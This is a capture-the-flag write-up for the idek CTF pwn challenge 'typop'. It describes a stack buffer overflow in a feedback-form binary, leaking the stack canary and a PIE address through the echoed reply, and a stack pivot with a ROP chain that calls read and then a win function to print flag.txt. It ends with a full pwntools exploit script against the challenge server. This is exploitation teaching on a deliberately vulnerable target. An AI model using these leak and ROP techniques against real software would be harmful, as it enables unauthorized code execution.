.. visibility


@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@#PPGPB@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@&?   .J&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@B~   :P@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@Y.   7#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@#7   .Y@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@P^   ~G@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@&J    ?&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@&J    ?&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@P^   ~G@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@#7   .Y@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@Y.   7#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@B~   :P@@@@@@@@@#55555555555555G@@@@@@@@@@@@@
@@@@@@@@@@@@@&?   .J&@@@@@@@@@@Y              ~@@@@@@@@@@@@@
@@@@@@@@@@@@@#PPGPB@@@@@@@@@@@@#PGGGGGGGGGGGGPB@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

This was a pwn challenge rated with 408 points in idek CTF. The instructions said:

While writing the feedback form for idekCTF, JW made a small typo. It still compiled though, so what could possibly go wrong?

This binary involved handling canary and PIE protections and, in the way I solved it, stack pivoting.


This is a very small binary with only a couple of functions. Let’s run it first to see what would be the normal output:

As we can see, we provide the answer to some questions and we can overflow the stack easily.

Let’s take a look at the disassembly and see the main function:

As we expected, it puts the first question and getchar the response. If it’s 0x79 or ‘y’, then it continues and calls getFeedback. If not, it exits.

Let’s inspect getFeedback:

We can quickly see where the overflow is. The buf to which we write is in $rbp-0x12 and in the first question already reads 0x1e. After that, it reads 0x5a, overflowing the stack.

The first thing we need to defeat is the canary. The answer to the second question is what gets replied to us. We can use this to print the canary by providing the exact amount of characters to concatenate the canary like so:

00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
00 00 00 00 00 00 00 00 00 00 00 00 00 00 AA AA
AA AA AA AA AA AA AA AA CAN CAN CAN CAN CAN CAN CAN CAN
RBP RBP RBP RBP RBP RBP RBP RBP RSP RSP RSP RSP RSP RSP RSP RSP

A \n char will be added at the end so it will be:

00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
00 00 00 00 00 00 00 00 00 00 00 00 00 00 AA AA
AA AA AA AA AA AA AA AA 0a CAN CAN CAN CAN CAN CAN CAN
RBP RBP RBP RBP RBP RBP RBP RBP RSP RSP RSP RSP RSP RSP RSP RSP

Therefore we will rely on the chances of the canary ending up in 0x00. It will reply something like: AAAAAAAAAAA\xAB\xCD\xEF\x0a... with the last part being the canary, until it founds a \x00.

One important thing to consider is that the canary is the same during the whole execution and therefore dumping it once will allow to reuse it

Now that we have the canary, we can overflow rbp and rsp to control execution. But what can we do with what? PIE is enabled and we don’t know what the offset is.

But, we cano d the same technique again to dump rsp value because getFeedback is executed in a loop in main. In this case, it would look like:

00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
00 00 00 00 00 00 00 00 00 00 00 00 00 00 AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA 00 RSP RSP RSP RSP RSP RSP RSP

We don’t really care about the last bytes of rsp, we only want the offset. But with that we can control the execution.

The target of this pwn challenge is to call win:

This function will take 3 arguments, each of those a char, which will be concatenated to ‘g.txt’. As we can see in the attachments, flag.txt is the name of the flag. Therefore, we can send ‘f’, ‘l’ and ‘a’ as the arguments, read the contents and have everything dumped. For that we can do ROP: find the gadgets, add the offset and get everything in the right registers.

But after running ROPGadget we can see that there is no way to pop a value to rdx and therefore we can’t control the last argument.

Let’s change the approach. The filename is loaded from a string in $rbp-0x4a. The mode is hardcoded so we don’t have to worry about that.

We know we can control rbp so we can do a stack pivot and then jump exactly to where the filename is loaded from rbp, in 0x000012ac. We are dumping the old $rbp when we dump the canary. We can substract 0x200 (or any value really) to get an empty area as our new fake stack.

Then we can write a string to that area by calling read. We can control rdi (stdin, \x00), rsi (where to write) and call read. We can’t control rdx (the amount of bytes to read) but that would be 0x5a from previously calling read in getFeedback.

So the exploit will work like this:

  1. Do a first run of getFeedback to get the canary
  2. Leave $rpb and $rsp as it is on the second question and provide the right canary.
  3. Do a second run of getFeedback and get $rsp to get the offset.
  4. Provide the canary, overflow $rbp with the new stack value and $rsp to do the ROP: the pop rdi gadget, \x00 * 8 (stdin value is 0), the pop rsi; pop r15 gadget, the address where to write (our new stack address - 0x4a), \x00 * 8 for the pop r15, the address of read and finally the exact position we want in win.

With that, we can craft the exploit:

from pwn import *
import time

#b = process('./chall')
b = remote("typop.chal.idek.team", 1337)
#gdb.attach(b,  gdbscript='b *getFeedback+178')
#gdb.attach(b,  gdbscript='b *win+220')

def parse_addresses(data):
    stack_address = data[8:]
    stack_address = stack_address + b'\x00' * (8 - len(stack_address))

    canary = data[1:8]
    canary = b'\x00' * (8 - len(canary)) + canary
    return stack_address, canary

def parse_rsp(data):
    rsp = data
    rsp = rsp + b'\x00' + b'\x00' 
    return rsp

b.info(b.recvuntil(b'?\n'))
b.send(b'y\n')
b.info(b.recvuntil(b'?\n'))
b.send(b'AAAAAAAAAA\n')

data = b.recvuntil(b'Aww')[20:-4]
b.recvuntil(b'?')

stack_address, canary = parse_addresses(data)
canary = u64(canary)
b.info(str(hex(canary)))

b.send(b'B'*10 + p64(canary))
b.info(b.recvuntil(b'?\n'))
b.send(b'y\n')
b.info(b.recvuntil(b'?\n'))
b.send(b'AAAAAAAAAAAAAAAAAAAAAAAAA\n')

data = b.recvuntil(b'Aww')[36:-4]
b.recvuntil(b'?')

rsp = parse_rsp(data)
b.info(str(len(rsp)))
rsp = u64(rsp)
b.info(str(hex(rsp)))

base_address = rsp - 5191
win = rsp - 510
pop_rdi = 0x00000000000014d3
pop_rsi_r15 = 0x00000000000014d1
ret = 0x000000000000101a
pop_rsp = 0x00000000000014cd
new_stack_address = p64( u64(stack_address) - 0x2000)
b.send(b'B'*10 + p64(canary) + new_stack_address + p64(pop_rdi + base_address)  + b'\x00' * 8 +  p64(pop_rsi_r15 + base_address) + p64(u64(new_stack_address) - 0x4a) + b'\x00' * 8 +  p64(base_address - 784 + 5136) + p64(win + 99))

time.sleep(2)
b.send(b'flag.txt')

print(b.recvuntil(b'\n'))
b.interactive()